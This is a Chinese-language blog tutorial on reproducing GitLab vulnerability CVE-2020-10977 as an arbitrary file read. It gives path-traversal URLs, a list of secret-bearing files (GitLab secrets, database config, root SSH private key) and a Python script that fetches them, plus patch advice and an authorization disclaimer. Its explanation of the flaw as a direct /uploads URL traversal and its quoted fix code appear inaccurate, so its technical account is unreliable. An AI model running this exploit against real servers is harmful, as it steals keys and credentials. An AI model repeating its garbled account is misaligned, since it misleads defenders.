溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

GitLab任意文件讀取漏洞CVE-2020-10977如何進行復現

發布時間:2021-12-28 17:57:38 來源:億速云 閱讀:532 作者:柒染 欄目:安全技術
# GitLab任意文件讀取漏洞CVE-2020-10977如何進行復現

## 漏洞概述

CVE-2020-10977是GitLab社區版(CE)和企業版(EE)中的一個高危任意文件讀取漏洞,影響版本范圍為**11.3及以上至12.9.1以下**。攻擊者通過構造特殊請求,可繞過權限驗證讀取服務器上的任意文件,包括敏感配置文件、密鑰等。

## 漏洞原理

該漏洞源于GitLab對用戶提供的`filename`參數驗證不嚴,當用戶通過`/uploads`路由訪問上傳文件時,系統未正確校驗路徑穿越符號(`../`),導致目錄遍歷攻擊:

https://gitlab.example.com/uploads/group/project/../../../../etc/passwd


## 環境準備

### 受影響版本
- GitLab CE/EE 11.3 - 12.9.0

### 測試環境搭建
推薦使用Docker快速搭建漏洞環境:

```bash
# 拉取存在漏洞的GitLab版本
docker pull gitlab/gitlab-ce:12.8.1-ce.0

# 運行容器(注意配置端口和數據卷)
docker run -d \
  --hostname gitlab.example.com \
  -p 443:443 -p 80:80 -p 2222:22 \
  --name gitlab \
  --restart always \
  -v /srv/gitlab/config:/etc/gitlab \
  -v /srv/gitlab/logs:/var/log/gitlab \
  -v /srv/gitlab/data:/var/opt/gitlab \
  gitlab/gitlab-ce:12.8.1-ce.0

復現步驟

步驟1:驗證GitLab版本

訪問/help頁面確認版本號:

http://目標IP/help

步驟2:創建測試項目

  1. 注冊/登錄賬戶
  2. 新建一個項目(如test-project
  3. 上傳任意文件(如test.txt

步驟3:構造惡意請求

通過Burp Suite或瀏覽器直接訪問以下URL(需替換實際參數):

http://目標IP/uploads/[group]/[project]/../../../../../../etc/passwd

參數說明: - [group]: 項目所屬組名 - [project]: 項目名稱

示例(假設組名為mygroup,項目名為test-project):

http://192.168.1.100/uploads/mygroup/test-project/../../../../../../etc/passwd

步驟4:驗證讀取結果

成功響應將顯示/etc/passwd文件內容:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

敏感文件示例

可嘗試讀取的其他敏感文件:

文件路徑 說明
/etc/gitlab/gitlab-secrets.json 包含加密密鑰
/var/opt/gitlab/gitlab-rails/etc/database.yml 數據庫配置
/root/.ssh/id_rsa 服務器SSH私鑰
/proc/self/environ 環境變量信息

自動化利用腳本

使用Python快速驗證漏洞:

import requests
import urllib.parse

TARGET = "http://gitlab.example.com"
GROUP = "mygroup"
PROJECT = "test-project"
FILE_TO_READ = "/etc/passwd"

def exploit():
    path = f"/uploads/{GROUP}/{PROJECT}/../../../../../../{FILE_TO_READ}"
    url = urllib.parse.urljoin(TARGET, path)
    
    response = requests.get(url)
    if response.status_code == 200:
        print(f"[+] 成功讀取 {FILE_TO_READ}:")
        print(response.text)
    else:
        print(f"[-] 讀取失敗 (HTTP {response.status_code})")

if __name__ == "__main__":
    exploit()

防御措施

臨時解決方案

  1. 升級到已修復版本:
    • GitLab CE/EE 12.9.1+
    • GitLab CE/EE 12.8.8+
    • GitLab CE/EE 12.7.8+
  2. 添加Web應用防火墻(WAF)規則,攔截包含../的請求

長期建議

  • 定期更新GitLab到最新穩定版
  • 實施最小權限原則,限制服務賬戶權限
  • 啟用GitLab的安全監控功能

漏洞分析

補丁對比

GitLab通過以下修改修復漏洞: 1. 在app/controllers/uploads_controller.rb中添加路徑規范化檢查 2. 使用Gitlab::PathTraversal.check_path_traversal!方法驗證路徑

關鍵修復代碼片段:

def validate_upload_path!
  Gitlab::PathTraversal.check_path_traversal!(file.path)
end

時間線

  • 2020-03-18:漏洞報告給GitLab安全團隊
  • 2020-03-31:GitLab發布補丁版本
  • 2020-04-02:CVE編號分配

法律與道德聲明

  1. 本復現方法僅限授權測試使用
  2. 未經授權掃描或攻擊他人系統屬于違法行為
  3. 測試前務必獲得目標系統的書面授權

參考鏈接

”`

注:實際復現時請確保在授權環境下進行,文中的IP、域名等需替換為實際測試目標。建議使用虛擬機或隔離網絡環境進行實驗。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女